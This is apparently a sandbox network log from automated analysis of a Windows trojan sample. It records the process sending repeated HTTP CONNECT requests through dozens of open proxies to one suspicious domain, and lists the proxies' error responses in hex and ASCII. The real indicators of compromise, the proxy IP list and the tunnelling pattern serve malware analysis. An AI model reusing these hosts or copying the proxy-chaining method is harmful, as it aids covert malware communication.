Feb 23, 2024 14:28:59.234289885 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 23 Feb 2024 13:28:59 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 638 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of
Feb 23, 2024 14:28:59.234328985 CET	294	IN	Data Raw: 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f Data Ascii: the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at heygirlisheeverythingyou

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1125	192.168.2.8	53449	104.23.141.196	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.714833975 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.804297924 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:30 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1126	192.168.2.8	50827	143.110.232.177	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.717228889 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.785718918 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.820574999 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.898303986 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1127	192.168.2.8	50755	162.240.19.133	42690	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.720211029 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.788896084 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.882611036 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.992198944 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1128	192.168.2.8	53460	172.67.181.136	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.720340014 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.807569981 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:30 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1129	192.168.2.8	52911	68.71.249.153	48606	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.720340967 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1130	192.168.2.8	53476	104.18.220.95	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.754041910 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.841244936 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:30 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1131	192.168.2.8	52512	51.15.21.216	62389	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.754157066 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1132	192.168.2.8	53483	104.18.44.93	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.755801916 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.845330000 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:30 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1133	192.168.2.8	53423	45.43.71.147	6745	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.767427921 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.381472111 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.624783039 CET	459	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="Invalid proxy credentials or missing IP Authorization." Proxy-Connection: close X-Webshare-Error: 407 X-Webshare-Reason: invalidpassword Date: Fri, 23 Feb 2024 13:28:31 GMT Content-Length: 121 Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 4e 6f 74 20 61 75 74 68 65 6e 74 69 63 61 74 65 64 20 6f 72 20 69 6e 76 61 6c 69 64 20 61 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 63 72 65 64 65 6e 74 69 61 6c 73 2e 20 4d 61 6b 65 20 73 75 72 65 20 74 6f 20 75 70 64 61 74 65 20 79 6f 75 72 20 70 72 6f 78 79 20 61 64 64 72 65 73 73 2c 20 70 72 6f 78 79 20 75 73 65 72 6e 61 6d 65 20 61 6e 64 20 70 6f 72 74 2e Data Ascii: Not authenticated or invalid authentication credentials. Make sure to update your proxy address, proxy username and port.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1134	192.168.2.8	53377	202.131.159.58	5678	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.767699003 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1135	192.168.2.8	53431	199.58.184.97	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.767972946 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1136	192.168.2.8	53458	104.244.75.78	31534	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.795726061 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1137	192.168.2.8	53471	15.236.106.236	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.803175926 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.967339039 CET	146	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 13:28:30 GMT Content-Type: text/plain X-Powered-By: PHP/5.4.7 Server: squid/4.10 Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1138	192.168.2.8	53215	96.36.50.99	39593	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.803518057 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1139	192.168.2.8	53418	88.135.41.236	4153	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.804083109 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1140	192.168.2.8	53490	31.207.38.66	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.804337025 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.973591089 CET	408	IN	HTTP/1.1 405 Method Not Allowed Date: Fri, 23 Feb 2024 13:28:30 GMT Server: Apache Allow: GET,POST,OPTIONS,HEAD Content-Length: 224 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 35 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 43 4f 4e 4e 45 43 54 20 69 73 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 66 6f 72 20 74 68 69 73 20 55 52 4c 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>405 Method Not Allowed</title></head><body><h1>Method Not Allowed</h1><p>The requested method CONNECT is not allowed for this URL.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1141	192.168.2.8	53448	161.97.74.176	30000	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.805100918 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1142	192.168.2.8	50893	146.59.70.29	32953	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.821840048 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.991914988 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.991997957 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.992305040 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1143	192.168.2.8	53408	154.12.178.107	29985	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.852159023 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1144	192.168.2.8	53033	117.160.250.132	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.874644995 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.898140907 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.941384077 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Fri, 23 Feb 2024 13:28:34 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1145	192.168.2.8	52483	47.74.152.29	8888	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.874651909 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1146	192.168.2.8	53445	8.213.137.155	8034	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.878711939 CET	113	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1147	192.168.2.8	50734	49.0.2.243	5430	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.887108088 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1148	192.168.2.8	53404	60.188.102.225	18080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.887161970 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1149	192.168.2.8	50739	103.204.82.34	3212	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.887608051 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.991904020 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1150	192.168.2.8	53219	103.227.192.47	8111	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.925405979 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.085736036 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.192274094 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.195507050 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1151	192.168.2.8	53427	146.190.85.79	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.941998005 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.358170986 CET	1286	IN	HTTP/1.1 503 Service Unavailable Server: squid/4.6 Mime-Version: 1.0 Date: Fri, 23 Feb 2024 13:28:31 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3702 X-Squid-Error: ERR_DNS_FAIL 0 Vary: Accept-Language Content-Language: en Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 38 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 39 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 